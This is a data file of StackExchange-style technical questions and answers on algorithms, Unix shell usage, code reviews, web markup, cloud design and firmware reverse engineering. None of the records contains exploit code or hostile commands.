{  "id": "_cstheory.38138"  , "question": "$k$-Dominating set:Given a graph $G=(V,E)$ where $V$ is a set of vertices and $E$ a set of edges, and an integer $k$, the $k$-Dominating set problem determines if there exists a subset of vertices $V$ of $V$ of size at most $k$, such that for every Vertex $u \\in V$, there is an edge $uv \\in E$ for some vertex $ v \\in V'$.It is easy to see $k$-Dominating set problem for planar graphs in $O(f(k)\\log n)$ space.Can we solve the $k$-Dominating set problem for planar graphs in $f(k)+c \\log n$ space where $c$ is some constant.Answer to this question is yes[link] Page 11 theorem 2.4.Their proof based on the FPT algorithm for finding the $k$-Dominating set problem for planar graphs [link] page 11 theorem 2.4.Can we get the simple proof or process for finding the $k$-Dominating set problem for planar graphs in $f(k)+c \\log n$ space where $c$ is some constant?"  , "title": "parametrized logspace algorithm for k-dominating set for planar graphs"  , "tags": "cc.complexity theory;graph algorithms;space complexity;logspace"  } 
{  "id": "_cs.18749"  , "question": "The algorithm (from here) - Create a set S of remaining possibilities (at this point there are 1296). The first guess is aabb.Remove all possibilities from S that would not give the same score of colored and white pegs if they were the answer.For each possible guess (not necessarily in S) calculate how many possibilities from S would be eliminated for each possible  colored/white score. The score of the guess is the least of such  values. Play the guess with the highest score (minimax).Go back to step 2 until you have got it right.I confused about the 3nd step - what is mean -  how many possibilities from S would be eliminated for each possible  colored/white scorewhat is the correct answer and the guess here  ? Can someone clear it some more ? "  , "title": "Mastermind (board game) - Five-guess algorithm"  , "tags": "algorithms;game theory;board games"  , "accepted_answer": "The text you quoted seems clear as it is.  But I'll try to elaborate on step 3, since you asked:Let $S$ denote the set of possible secrets (given responses to moves you've made so far).  Given a candidate guess $g$, you run over all possibilities $s \\in S$ and calculate the response that you'd get if you guessed $g$ and the secret was $s$ (the number of black pegs and the number of white pegs); this is the colored/white score.  Now, for each colored/white score that could be received, if you were to get that score, you could eliminate some possibilities from $S$ as incompatible with that colored/white score; the goodness of a colored/white score is the number of possibilities eliminated.  The helpfulness of a candidate guess $g$ is the minimum of the goodness of all the colored/white scores you could possibly get, in response to $g$.  Select the guess $g$ with highest helpfulness.In other words, let $R(g,s)$ denote the number of black pegs and number of white pegs you'd get if the secret were $s$ and you guessed $g$ (this is what your quote calls the colored/white score).  Let $Z(g) = \\{R(g,s) : s\\in S\\}$, so that $Z(g)$ denotes the set of colored/white scores you could possibly get if you made guess $g$ (given that the secret $s$ has to be one of the possibilities in $S$).   Now, if you have a colored/white score $z$ where $z \\in Z(g)$, let$$G(g,z) = |\\{ s \\in S : R(g,s) \\ne z\\}|,$$so that $G(g,z)$ is the goodness of getting a colored/white score $z$ in response to guess $g$.  Also, let$$H(g) = \\min \\{G(g,z) : z \\in Z(g)\\},$$so that $H(g)$ denotes the helpfulness of a candidate guess $g$.Now step 3 says: you should play the guess $g$ that maximizes $H(g)$."  } 
{  "id": "_unix.37610"  , "question": "I would like to make a utility that always enables the --color argument for the grep command in any distribution. Is there a way to do this or do I have to search for a way for each distribution?"  , "title": "Is there a global grep.conf in Unix/Linux?"  , "tags": "grep"  , "accepted_answer": "These simple GNU tools don't have config files. You can use shell aliases.alias grep=grep --color=autoPut that in your ~/.bashrc file (or equivalent to what you use). Then you will always use that alias for the grep command."  } 
{  "id": "_unix.218855"  , "question": "I'm new to Mint, but not to Linux. Is it possible to enable icon display for the root desktop? I tried the System Settings > Desktop config utility, but that doesn't display the icons. Is there a config file somewhere?As requested:The desktop environment is Cinnamon. The file manager is Nemo, and running it doesn't cause the icons to appear on the desktop.My objective has already been stated and the reason for it should be obvious. It seems so many of you are paranoid over just about everything these days....Finally, your other comments are otherwise offensive. Are you here to help run this forum or to call people stupid?"  , "title": "MInt 17.2, Enable Icon display for root desktop? Eg Home, Computer,etc"  , "tags": "linux mint"  } 
{  "id": "_cs.55216"  , "question": "According to wikipedia DFA accepts word $w$ by one of two definitions:A word $w$ is accepted by $M$ if $\\hat\\delta(q_0,w)\\in F$.A word $w=w_1w_2\\dots w_n$ is accepted by $M$ if $\\exists r_0,\\dots,r_n\\in Q$ such that:$r_0=q_0$$\\delta(r_i,w_{i+1})=r_{i+1} \\ \\forall 0\\le i<n$$r_n\\in F$Assuming that some word $w$ is accepted by definition 1, how can we show it is accepted by definition 2?Thank you!"  , "title": "Equivalence of DFA' definitions"  , "tags": "automata;finite automata;simulation"  } 
{  "id": "_codereview.160190"  , "question": "I have a function that takes the root node as input and needs to return if the tree is a proper BST as per the definition below:The data value of every node in a node's left subtree is less thanthe data value of that node. The data value of every node in a node'sright subtree is greater than the data value of that node It cannot contain duplicate values.Here's my implementation  boolean checkBST(Node root) {                if(root==null) return false;        Queue<Node> q = new LinkedList<>();        Set<Integer> s = new HashSet<>();        q.add(root);               while(q.size()>0){               Node t = q.poll();            if(s.contains(t.data))                return false;            s.add(t.data);            if(t.left!=null)                {                    if(t.data<=t.left.data)                        return false;                q.offer(t.left);            }            if(t.right!=null){                if(t.data>=t.right.data)                    return false;                q.offer(t.right);            }        }        return true;       }Things to discuss:I've pursued a Breadth first approach. Is there a better approach?The above procedure fails for some test inputs (I don't know what the inputs are that breaks it). Trying to find out what they areIssues with the above implementation"  , "title": "Check if a tree is a proper BST"  , "tags": "java;tree;binary search"  } 
{  "id": "_codereview.162062"  , "question": "I read 99 Bottles of OOP, and one of the offhand comments was that doing the 99 bottles problem with composition was another route that one could take (the book used inheritance).  Here is my attempt.  Here are the lyrics needed: Beer SongSome difficulties I had: 1) Implementation of successor was tricky.  I could not simply pass in a successor object because then BottleNumber(99) needed to hold BottleNumber(98) which needed to hold... Instead I used successor_number and generated a successor when needed.  2) Factory seemed messy - the arguments for the initialize method stacked up and up.  Named arguments only made things longer. Sometimes I had to implement a default_object and other times I could use default named parameters.  Should this be standardized throughout?  Comments welcomeclass BeerSong  def verse(number)    bottle_number = BottleNumber.for(number)    #{bottle_number} of beer on the wall, #{bottle_number} of beer.\\n.capitalize +    #{bottle_number.action}, #{bottle_number.successor} of beer on the wall.\\n  end  def verses(starting,ending)    starting.downto(ending).map do |number|      verse(number)    end.join(\\n)  end  def song    verses(99,0)  endendclass BottleNumber  attr_reader :number, :container, :pronoun, :quantity, :action, :successor_number  class << self    def for(number)      return number if number.is_a? BottleNumber      case number      when 0        BottleNumber.new(number, quantity: 'no more', successor_number: 99, action: 'Go to the store and buy some more')      when 1        BottleNumber.new(number, container: 'bottle', pronoun: 'it')      else        BottleNumber.new(number)      end    end  end  def initialize(number, container: 'bottles', pronoun: 'one', quantity: nil, action: nil, successor_number: nil)    @number = number    @container = container    @pronoun = pronoun    @quantity = quantity || default_quanity    @action = action || default_action    @successor_number = successor_number || default_successor_number  end  def to_s    #{quantity} #{container}  end  def default_successor_number    number - 1  end  def default_quanity    number.to_s  end  def default_action    Take #{pronoun} down and pass it around  end  def successor    BottleNumber.for(successor_number)  endend"  , "title": "Print lyrics of 99 Bottles of Beer"  , "tags": "object oriented;ruby"  , "accepted_answer": "Some comments when looking through your code:SuccessorI think that's fine - how else were you going to do it? Metz does exactly the same thing doesn't she? When successor is called a new bottle number - 1 is created - unless of course the bottle number is zero, in which case you start right back at 100.Knowledge of the arguments and their order:Consider this:BottleNumber.new(number, quantity: 'no more', successor_number: 99, action: 'Go to the store and buy some more')I don't like this. Why? Because every time you need to instantiante a bottle you need to KNOW what goes in there and you also need to know the order in which the arguments go in. You could eliminate the need to know the argument order by passing in a hash. That's probably the only bit of criticism i can add.Inheritancefor this particular problem, inheritance seems like a better fit. it just seems a lot cleaner than dealing with the messiness of passing in those parameters.anyways those are just my thoughts and i hope you find them of some use."  } 
{  "id": "_webmaster.55806"  , "question": "I'm trying to indicate multiple related products on a product page using Microdata (with Schema.org). But the child products are orphaned because they are not contained in the parent div. I tried using itemref but I must be using it incorrectly or it must be the wrong solution.Also, I cannot easily create a wrapper div or use the body element to create the parent. My ideal solution would be one that leaves the page structure as-is, and somehow links the child product divs to the parent. I thought itemref would do that, but it doesn't appear to be working.Here is example HTML.<div id=main-product itemscope itemtype=http://schema.org/Product>  <div class=product-name>      <h1 itemprop=name>Main Product</h1>  </div></div><!-- END main-product div --><!-- START related-products div --><div class=related-products><ol class=products-list id=related-products-list>  <li class=item>    <div class=product itemprop=isRelatedTo itemscope itemtype=http://schema.org/Product itemref=main-product>      <p class=product-name><a itemprop=url href=/some_product1.php><span itemprop=name>Some Product 1</span></a></p>                    </div>  </li>  <li class=item>    <div class=product itemprop=isRelatedTo itemscope itemtype=http://schema.org/Product itemref=main-product>      <p class=product-name><a itemprop=url href=/some_product2.php><span itemprop=name>Some Product 2</span></a></p>                    </div>   </li></ol></div>The above HTML is simplified, but similar in structure to what's on my site and gives similar errors when submitted to validators.E.g. http://webmaster.yandex.com/microtest.xml gives:microdataERROR: unable to determine affiliation of these fields. There are two possible reasons: this fields are incorrectly placed or an orphan itemprop attribute is indicateditemType = orphansisrelatedtoproductitemType = http://schema.org/Producturlhref = /some_product1.phptext = Some Product 1name = Some Product 1isrelatedtoproductitemType = http://schema.org/Producturlhref = /some_product2.phptext = Some Product 2name = Some Product 2productitemType = http://schema.org/Productname = Main ProductThe Google validator does not seem to show any errors, but the child products are not related to the parent product."  , "title": "Link child product to parent product when not contained in child element"  , "tags": "html5;microdata"  } 
{  "id": "_datascience.15598"  , "question": "My question is really simple, how to find the filename associated with a prediction in Keras? That is, if I have a set of 100 test samples named  and I get a numpy array which contains the estimated class probabilities, how do I map the filenames to the probabilities?import cv2import osimport glob def load_test():    X_test = []    y_test = []    os.chdir(testing_path)    file_list = glob.glob('*.png')    for test_image in file_list:        img = cv2.imread(test_image,1)        X_test.append(img)        y_test.append(1)   return X_test,y_testif __name__ == '__main__':   X_test = np.array(X_test, dtype = np.uint8)   X_test = X_test.reshape(X_test.shape[0],3,100,100)   X_test = X_test.astype('float32')   X_test /= 255"  , "title": "How to find the filename associated with a prediction in Keras?"  , "tags": "python;keras"  , "accepted_answer": "The order of the files that populate file_list, is the same order X_test appears in, by row. So just match the indices to correlate filename with prediction.X_test[0] ~ prediction[0] ~ file_list[0]"  } 
{  "id": "_unix.5398"  , "question": "Another question recommented I use extlinux. It displays the rather unhelpful message Boot error. Why wouldn't it work? How can I debug the problem?Disk layout: on /dev/sda rEFIt is installed. /dev/sda4 is / and there is no separate /boot partition.Method of installation:extlinux /bootextlinux.cfgDEFAULT GentooLABEL Gentoo  KERNEL /boot/kernel  APPEND -"  , "title": "Extlinux boot error"  , "tags": "macintosh"  } 
{  "id": "_unix.85812"  , "question": "How can I record a radio stream in Linux like the screamer in Windows? Does anyone have any idea or suggestion?"  , "title": "How I can record stream radio in Linux?"  , "tags": "audio;streaming"  } 
{  "id": "_unix.147568"  , "question": "I have to access a certain set of Linux machines where control is governed by VPN access, and passwords on the individual systems are effectively not kept secure or secret (security through obscurity).  Don't tell me this is a bad practice, I didn't set it up, it's a corporate thing, and it's not in my court to change it.I could try to add my public key to /root/.ssh/authorized_keys on every individual machine on the said network, but I think a cleaner solution would be to simply use the default password with ssh.Is there any way to do this with ssh on OS X?  "  , "title": "Is there a way to pass a Password to ssh automatically?"  , "tags": "ssh;password;vpn"  } 
{  "id": "_webapps.49855"  , "question": "I have a google group, and the discussion is slowly catching up. We use several tags for each post. Is there a way to let users subscribe ONLY to some tags. Either directly through the google group setting, or by letting the email arrive with the tag listed, and then setting up a filter system on the mail program that only keeps unread messages with certain keywords.I could not find ways to subscribe to a single tag, nor ways to add the tags in an email (to filter later)."  , "title": "letting users subscribe to messages that have certain tags in a google group"  , "tags": "google groups"  } 
{  "id": "_softwareengineering.240308"  , "question": "Edit:OK, so, people said it is unclear what I am asking. I am asking for feedback on this design. Here is an example user story:As a group admin on the website I want to be notified when a user in my group uploads a file to the group.Easiest solution would be that in the code handling the upload, we just directly create an email message in there and send it. However, this seems like it isn't really the appropriate level of separation of concerns, so instead we are thinking to have a separate worker process which does nothing but send notifications. So, the website in the upload code handles receiving the file, extracting some metadata from it (like filename) and writing this to the database. As soon as it is done handling the file upload it then does two things: Writes the details of the notification to be sent (such as subject, filename, etc...) to a dedicated notification table and also creates a message in a queue which the notification sending worker process monitors. The entire sequence is shown in the diagram below.My questions are: Do you see any drawbacks in this design? Is there a better design? The team wants to use Azure Worker Roles, Queues and Table storage. Is it the right call to use these components or is this design unnecessarily complex? Quality attribute requirements are that it is easy to code, easy to maintain, easy to debug at runtime, auditable (history is available of when notifications were sent, etc...), monitor-able. Any other quality attributes you think we should be designing for?Original:We are creating a cloud application (in Azure) in which there are at least 2 components. The first is the source component (for example a UI / website) in which some action happens or some condition is met that triggers a second component or worker to perform some job. These jobs have details or metadata associated with them which we plan to store in Azure Table Storage. Here is the pattern we are considering:Steps:Condition for job met.Source writes job details to table.Source puts job in queue.Asynchronously:Worker accepts job from queue.Worker Records DateTimeStarted in table.Queue marks job marked as in progress.Worker performs job.Worker updates table with details (including DateTimeCompleted).Worker reports completion to queue.Job deleted from queue.Please comment and let me know if I have this right, or if there is some better pattern. For example sake, consider the work to be sending a notification such as an email whose template fields are filled from the details mentioned in the pattern."  , "title": "Correct pattern for Worker Processes involving Queues & Tables"  , "tags": "design patterns;cloud computing;azure;cloud"  } 
{  "id": "_unix.122795"  , "question": "When editing an authorised_keys file in Nano, I want to wrap long lines so that I can see the end of the lines (i.e tell whose key it is). Essentially I want it to look like the output of cat authorised_keysSo, I hit Esc + L which is the meta key for enabling long line wrapping on my platform and I see the message to say long line wrapping has been enabled but the lines do not wrap as I expect. I'm using Terminal on OSX 10.8.5"  , "title": "Long line wrapping in Nano"  , "tags": "ubuntu;nano"  , "accepted_answer": "To see the word wrapping you are expecting, use Esc+$Note for new coders to nano: Esc+$ does not mean hold down escape while pressing $; instead it means press and release Esc and then press $ (which is of course shift-4)However, be careful if you're editing a configuration file or code or something that is sensitive to newlines and/or indents.  I suggest making sure Soft line wrapping is off in those cases."  } 
{  "id": "_unix.102542"  , "question": "I have been using the following script to organize my photos into Date' Directories:for x in *.JPG; do  d=$(date -r $x +%Y-%m-%d)  mkdir -p $d  mv -- $x $d/doneThis script works great. My photo files follow the same naming convention 'IMG_20131125_090000.JPG' ie date and time photo taken. Is there a way to change the script above so that it categorizes into date directories still but using the date in the file name rather than use the date the file was modified?"  , "title": "Create sub-directories and organize files by date from file name"  , "tags": "shell script;scripting;date"  , "accepted_answer": "Answer fixed to get 2013-11-25  instead of 20131125If your script runs with a bash compatible shell, the easiest solution is to replaced=$(date -r $x +%Y-%m-%d)withd=${x:4:4}-${x:8:2}-${x:10:2}portable solution with expr:d=$(expr substr $x 5 4)-$(expr substr $x 9 2)-$(expr substr $x 11 2)If you need only 20131125 instead of 2013-11-25 as directory name, you can also Solution with sed:d=$(echo $x | sed 's/.*_\\([0-9]*\\)_.*/\\1/')The sed commands replaces the filename with the number between the underscores (=the date).Solution with awk:d=$(echo $x | awk -F _ '{print $2}')Solution with cut:d=$(echo $x | cut -d_ -f 2')"  } 
{  "id": "_unix.345665"  , "question": "Is there any file system which allows reading from an existing network share, but also writing to the mount, but those writes are only temporary?To let you know the background: We have around 4TB data on our live system. If we want to test our staging system, the stage should be able to access the data, but not modify it. Nevertheless the stage needs write permission, but all the changes stage is causing should be written to some temporary space, which will not affect live system.I want to avoid to clone 4TB data all the time."  , "title": "Read only file system, which allows also temporary write to other destination"  , "tags": "filesystems;mount;storage"  } 
{  "id": "_unix.251208"  , "question": "There may be a question out there for this somewhere. But I wasn't able to find it easily. Basically I want to write a bash script on a new box. A script that I've previously used. Example:#!/bin/bash -exhi='hello world!'echo $hiI've always used (for multiline output)cat > script.sh <<EOF#!/bin/bash -exhi='hello world!'echo $hiEOFBut as you may have noticed this has issues with $hi, and other symbols. Is there a good way to do this? Tips Tricks?"  , "title": "Writing a bash script on a new box, Escaping Code"  , "tags": "linux;bash;scripting"  , "accepted_answer": "You should quote the End-Of-File marker, otrherwise the variable expansion (or rather, everything starting with a $, will get the current context.Compare: hi=herecat >file.sh <<EOF#!/bin/shhi=thereecho $hiEOFsh file.sh(outputs here)hi=herecat >file.sh <<\\EOF#!/bin/shhi=thereecho $hiEOFsh file.shoutputs therehi=herecat >file.sh <<'EOF'#!/bin/shhi=thereecho $hiEOFsh file.shoutputs there.Alternatively, you can quote the $:hi=herecat >file.sh <<EOF#!/bin/shhi=thereecho \\$hiEOFsh file.sh(outputs there)This initially surprising behavior comes in very handy when there is a need to generate slightly different scripts for various purposes. "  } 
{  "id": "_cs.60840"  , "question": "There has been significant literature in solving the (Approximate) Nearest Neighbour Problem in the spherical setting in the $\\mathbb{R}^n$ using Angular and Spherical LSH and other lattice sieving techniques. A proper definition of the problem is found in the image below.  (The problem definition is borrowed from Faster sieving for shortest lattice vectors using spherical locality-sensitive hashing by Laarhoven and Weger 2015. Here is the IACR page for the paper. )(Refer to Sieving for shortest vectors in lattices using angular locality-sensitive hashingby Laarhoven 2015. The link is in the comments.)I was curious if there is a way to have a similar spherical setting for the approximate NN problem for the finite field $\\mathbb{Z}_2^n$. Particularly, I was wondering if there was a sphere definition relevant to $\\mathbb{Z}_2^n$ that could be analogical or atleast very similar to the one in Definition 4. The one in definition 4 allows entire lattices to be embedded on the sphere i.e. $P$ is a lattice.  The proposed distance measure could either be the $l_2$ norm or the hamming distance. It does not seem that it can be simply translated into finite fields.I apologize if this is a naive question or does not make sense because I am a first time undergraduate researcher who is not very familiar with this forum and the level of questions asked here. "  , "title": "Approximate Nearest Neighbour Problem in Spherical Setting"  , "tags": "optimization;lattices;nearest neighbour"  , "accepted_answer": "There is a reasonable distance metric on $\\mathbb{Z}_2^n$ that allows one to define something that can be viewed as the analog of a sphere.  In particular, use the Hamming distance.  Then given any vector $c \\in \\mathbb{Z}_2^n$ and any positive integer $k$, the set $\\{x \\in \\mathbb{Z}_2^n : d(x,c) \\le k\\}$ can be a ball centered at $c$ with radius $k$.  You could even call it a Hamming ball.You can also define a version of nearest-neighbor search, using the Hamming distance on $\\mathbb{Z}_2^n$ instead of the ordinary Euclidean distance on $\\mathbb{R}^n$.  Everything carries over.  The algorithms/solutions may need to be different, though.  For approaches to this problem, you could look at metric trees and locality sensitive hashing."  } 
{  "id": "_webapps.20940"  , "question": "I've noticed an unusual activity on my Gmail account: Inconnu     Vit Nam (fpt.vn:118.71.51.26)  14 nov. (il y a 1 jour)What does it mean exactly?that a successful login has been made with full access to my account;  a successful login has been made to the account, but Google has blocked the access before any access were possible;  only an attempt, but the credentials have not been validated.  ... or something else?"  , "title": "Gmail unusual activity, does it mean a successful connection has been made?"  , "tags": "security;gmail"  , "accepted_answer": "From Gmail Help:Last account activity shows you information about recent activity in your mail. Recent activity includes any time that your mail was accessed using a regular web browser,  a POP1 client, a mobile device, etc. We'll list the IP address that accessed your mail, the associated location, as well as the time and date.That means your mail was definitely accessed. Gmail will not list any unsuccessful attempts, therefore you should immediately change your password and follow the security checklist!"  } 
{  "id": "_reverseengineering.14261"  , "question": "A couple of days ago I bought an air conditioner.The system has a wireless module. By analyzing the ports, I could see that port 22 is open.I have obtained the file that is responsible for managing the connection with the outside and internally (the interface).The file is of type BFLT executable - version 4 ram. Here is more detailed information. (extracted from radare)type    bFLT (Executable file)      class      bfltfile    backupServer                arch       armfd          6                       bits        32size     0x3d804                    machine   unknowniorw t     true                     os         Linuxblksz      0x0                      minopsz     4mode       -r--                     maxopsz     4block     0x100                     pcalign     4format    bflt                      subsys     Linuxhavecode  true                      endian    littlepic       false                     stripped   falsecanary    false                     static     truenx        false                     linenum    falsecrypto    false                     lsyms      falseva        false                     relocs     falsebintype   bflt                      binsz     251908This file I have been able to virtualize with qemu-arm.In the BFLT files there is a section containing all the string and using IDA Pro with the bfltldr plugin to relocate the strings. For debugging I have used the architecture arm litte endian genericAnalyzing the application with IDA Pro, I was able to observe that it expects from the outside some commands with a format and some parameters.The parameters I have but the arguments do not as it is complicated to debug without having any kind of information about the name of each function.The operating system used by the application I think is GNU/Linux or a variant.My goal is to analyze the arguments and parameters that are passed via socket to try to find some vulnerability (buffer overflow, ...) and inject a shell to open a backdoor. The problem I have is that I find it costly to debug the application since in IDA Pro are the memory addresses in the functions and I would like to know if there is any change memory addresses, by the names of known functions of the GNU/Linux."  , "title": "Reverse a BFLT file"  , "tags": "ida;disassembly;arm;qemu;shellcode"  , "accepted_answer": "bFLT format is used in uCLinux systems and its executables use one of two approaches to make system calls:Statically linked libc (uClibc). In this case you should see explicit syscalls (SVC instructions) in the code. Depending on the age of the system the will be using either Old ABI (with syscall number encoded as the operand of the SVC instruction) or the new ABI(EABI) with syscall number in R7. You can look up syscall numbers e.g. here.Libc in a shared library. I have never seen it myself but it seems uCLinux does support shared libraries loaded at fixed addresses. So you may see calls to apparently unmapped addresses where the libc is supposed to be loaded. In this case you may need to disassemble the libc binary as well to label the functions using syscalls and then match against the calls in the binary. In either case I would suggest you installing or building an uCLinux toolchain and compiling a few helloworld binaries with it. The nice thing about it is that the bFLT is produced from an ELF as the final step so you can compare the ELF with all symbols against the bFLT which should give you some clues how to handle your target. "  } 
{  "id": "_codereview.46107"  , "question": "Is there a better way to handle this ClassNotFoundException ?private Class<?> getClass(String value){    Class<?> columnClass = null;    try    {        columnClass = Class.forName(StringUtils.trim(value));    }    catch (ClassNotFoundException ex)    {        if (value.contains(double) || value.contains(Double))        {            columnClass = Double.class;        }        else if (value.contains(int) || value.contains(Int))        {            columnClass = Integer.class;        }        else if (value.contains(bool))        {            columnClass = Boolean.class;        }        else if (value.contains(long) || value.contains(Long))        {            columnClass = Long.class;        }        else        {            log.error(FAILED. Class object is not supported:  + value, ex);        }    }    return columnClass;}"  , "title": "Java ClassNotFoundException Handling"  , "tags": "java;exception handling"  , "accepted_answer": "With a limited set as this, you might as well skip the Class.forName() entirely and just keep the if statements. Exceptions are expensive, if statements not so much and there are only 4 options anyway.Furthermore you could reduce the semi-repeating a little by providing a unified version of the input to compare against (all characters in lower/uppercase).In fact, I would change it to use a simple lookup table.This results in something like this:static Map<String, Class<?>> lookup = new HashMap<>();static {    lookup.put(double, Double.class);    lookup.put(int, Integer.class);    lookup.put(bool, Boolean.class);    lookup.put(long, Long.class);}private Class<?> getClass(String value){    for(String key : lookup.keySet()){        if(value.toLowerCase().contains(key.toLowerCase())){            return lookup.get(key);        }    }    return null;}You can remove the intermediate columnClass variable entirely since the try-catch is now gone and there is no additional logic."  } 
{  "id": "_unix.93612"  , "question": "So there is a network: 192.168.1.0/24. Router is an OpenWrt 12.04 on a WRT160NL. We got a new network printer. But it's www server is reachable to everyone in the network (and thus everyone can print with it..). Q: How can I disable the network access for all the machines in 192.168.1.0/24 - and only let 2 IP's ex.: 192.168.1.10 and .20 to access the printer? - there isn't ANY access control on the network printer..."  , "title": "OpenWrt: prevent that an IP address could be reachable in the network, excluding a few hosts"  , "tags": "openwrt"  , "accepted_answer": "Sorry, you would probably need additional hardware for that.You need to put the network printer in an independent subnet, connected through a firewall.  If you had VLAN support on the internal switch, you could put the network printer's port on a separate VLAN.  OpenWrt supports VLANs in general, but unfortunately your hardware isn't working correctly at the moment.http://wiki.openwrt.org/toh/linksys/wrt160nl#switch.ports.for.vlansBut if your printer also supports USB, you might use that with the routers USB port.  The recommended solution is p910nd.  Then you could control access using firewall rules."  } 
{  "id": "_codereview.110474"  , "question": "One year ago I published an F# solution of the same task and there is an old C# solution. But I think it's a simple task and require a simple solution.What do you think?using System;using System.Collections.Generic;namespace SalesTaxes{    class Program    {        static void Main(string[] args)        {            List<ShoppingCartItem> itemList = getItemsList();            decimal salestaxes = 0.00m;            decimal totalprice = 0.00m;            foreach (ShoppingCartItem item in itemList)            {                salestaxes += item.Taxes * item.Quantity;                totalprice += item.Item.Price * item.Quantity;                Console.WriteLine(string.Format({0} {1} : {2}, item.Quantity, item.Item.Name, (item.Item.Price + item.Taxes) * item.Quantity));            }            totalprice += salestaxes;            Console.WriteLine(Sales Taxes :  + salestaxes);            Console.WriteLine(Total :  + totalprice);            Console.ReadLine();        }        private static List<ShoppingCartItem> getItemsList()        {            List<ShoppingCartItem> lstItems = new List<ShoppingCartItem>();            //input 1            lstItems.Add(new ShoppingCartItem { Item = new Product { Name = Book, Price = 12.49m, Type = Product.ProductType.book, IsImport = false }, Quantity = 1 });            lstItems.Add(new ShoppingCartItem { Item = new Product { Name = music CD, Price = 14.99m, Type = Product.ProductType.other, IsImport = false }, Quantity = 1 });            lstItems.Add(new ShoppingCartItem { Item = new Product { Name = chocolate bar, Price = 0.85m, Type = Product.ProductType.food, IsImport = false }, Quantity = 1 });            return lstItems;        }    }    public class Product    {        public enum ProductType        {            food = 1,            book = 2,            medical = 3,            other = 4        };        public string Name { get; set; }                public decimal Price { get; set; }        public ProductType Type { get; set; }        public bool IsImport { get; set; }        public bool IsExempt        {            get            {                return (int)Type < 4;            }        }    }        public class ShoppingCartItem    {        const decimal TaxRate = 0.1m;        const decimal ImpTaxRate = 0.05m;        public Product Item { get; set; }        public int Quantity { get; set; }        public decimal Taxes        {            get            {                return decimal.Ceiling(Item.Price * ((Item.IsExempt ? 0 : TaxRate) + (Item.IsImport ? ImpTaxRate : 0)) * 20) / 20;            }        }    }}"  , "title": "SalesTax problem (C# version)"  , "tags": "c#;finance"  , "accepted_answer": "A couple of small suggestions.Var:You spend a lot of time redeclaring variable types when they are already well established by your code. For example:decimal totalprice = 0.00m;foreach (ShoppingCartItem item in itemList){...}List<ShoppingCartItem> lstItems = new List<ShoppingCartItem>();I know there can be some debate about whether var is preferred or not, but I can say I work in a shop that currently uses it heavily and it makes refactoring a dream. Just changing the Foreach to:foreach(var item in itemList)would make refactoring much easier later. This way it will figure out the type for you at compile time, meaning itemList can be an ienumerable of anything as would still be valid in that case.Console.WriteLine:There is already a string format overload for Console.Writeline. The following lines are equivalent:Console.WriteLine(string.Format({0} , x));Console.WriteLine({0},x);Collection Construction:You can use simpler syntax to construct your collection in getItemsList() making your entire signature for the function something closer to this:    private static IEnumerable<ShoppingCartItem> getItemsList()    {        return new List<ShoppingCartItem>        {            new ShoppingCartItem            {                Item = new Product {Name = Book, Price = 12.49m, Type = Product.ProductType.book, IsImport = false},                Quantity = 1            },            new ShoppingCartItem            {                Item = new Product{Name = music CD,Price = 14.99m,Type = Product.ProductType.other,IsImport = false},                Quantity = 1            },            new ShoppingCartItem            {                Item = new Product{Name = chocolate bar,Price = 0.85m,Type = Product.ProductType.food,IsImport = false},                Quantity = 1            }        };    }Return Type List:For what you use the return value for, in getItemsList, it doesn't need to be returned as a List. It could be an IList or IEnumerable without any ill effects. It's not a huge deal in your case as it's private, but around where I work we generally try to return collections under there interfaces. I know resharper will flag this as well.Naming:The enumeration ProductTypes values and the getItemsList method do not follow C# standards for naming. It really should be GetItemsList and Food/Book/Medical/Other.IsExemptWhy is it:return (int)Type < 4;instead of:return Type != ProductType.Other;They mean the same thing, but one is a bit more obvious as to it's intentions.Taxes Getter:This is more of a soft suggestion, but this getter is a bit convoluted to read. I had to dig through and add some spacing to figure out what it was doing and even then I misplaced a paren the first time and got the wrong solution. I understand what you are doing with this type of code but it's honestly something that will be more of a headache than a help later as it is not immediately obvious what it is doing unless you dig in. Maybe simplifying out the ternary statements into getters for those values, or methods if you prefer, would be a better solution as it would vastly simplify the amount of parenthesis and make the statement a bit easier on the eyes. Example:public decimal Taxes    {        get        {            return decimal.Ceiling( Item.Price *( CalculateTaxRate() + CalculateImportRate()) * 20) / 20;        }    }    private decimal CalculateTaxRate()    {        return Item.IsExempt            ? 0            : TaxRate;    }    private decimal CalculateImportRate()    {        return Item.IsImport            ? ImpTaxRate            : 0;    }This seems much easier to read at a glance.WritelinesAlso worth noting that you swap between the string.format method of writing variables out to the string concatenation method in a couple of places:Console.WriteLine(string.Format({0} {1} : {2}, item.Quantity, item.Item.Name, (item.Item.Price + item.Taxes) * item.Quantity));Console.WriteLine(Sales Taxes :  + salestaxes);Best to stick with a style when you start. I prefer the string format approach, using the appropriate Console.WriteLine overload, as it hedges away from doing string + string. In this case it's really not more efficient, but it's a bad to get into the habit of string + string, as in non-trivial usages of concatenation it's inefficient. When I find yourself using string + string it's usually a tip off that there is a better way to be doing it (StringBuilder, String.Format, etc). Once again, no actual gain from this in your instance, just a good habit to build upon.Overall:The solution itself looks pretty good, though I'll admit I didn't run it through too much in the way of testing. I would just suggest those small style changes. Hope that helps."  } 
{  "id": "_cstheory.16771"  , "question": "Fix a constant $0<\\alpha<1/2$. The problem is the following. Suppose there are $N$ axis-parallel rectangles on the 2D plane with weights $w_1, w_2,\\ldots, w_N$ and with coordinates all in the range $[0,M]$ for some $M$. Let $W=\\sum w_i$. Find a simple (i.e. non self-intersecting) curve that partitions them into two sets of rectangles such that each set has total weight at least $\\alpha W$ and the total weight of all rectangles cut by the curve is as small as possible, or output that no such curve exists. This is NP-complete, and I'm interested in a good heuristic/approximation algorithms with $O(N+poly(M))$ time (or more exactly $O(N+poly(M)+polylog(W))$ time).A thorough search doesn't give me any reference in literature that studies this problem. Any insight is appreciated!"  , "title": "Balanced partitioning of a set of axis-parallel 2D rectangles"  , "tags": "cg.comp geom;heuristics;convex geometry"  } 
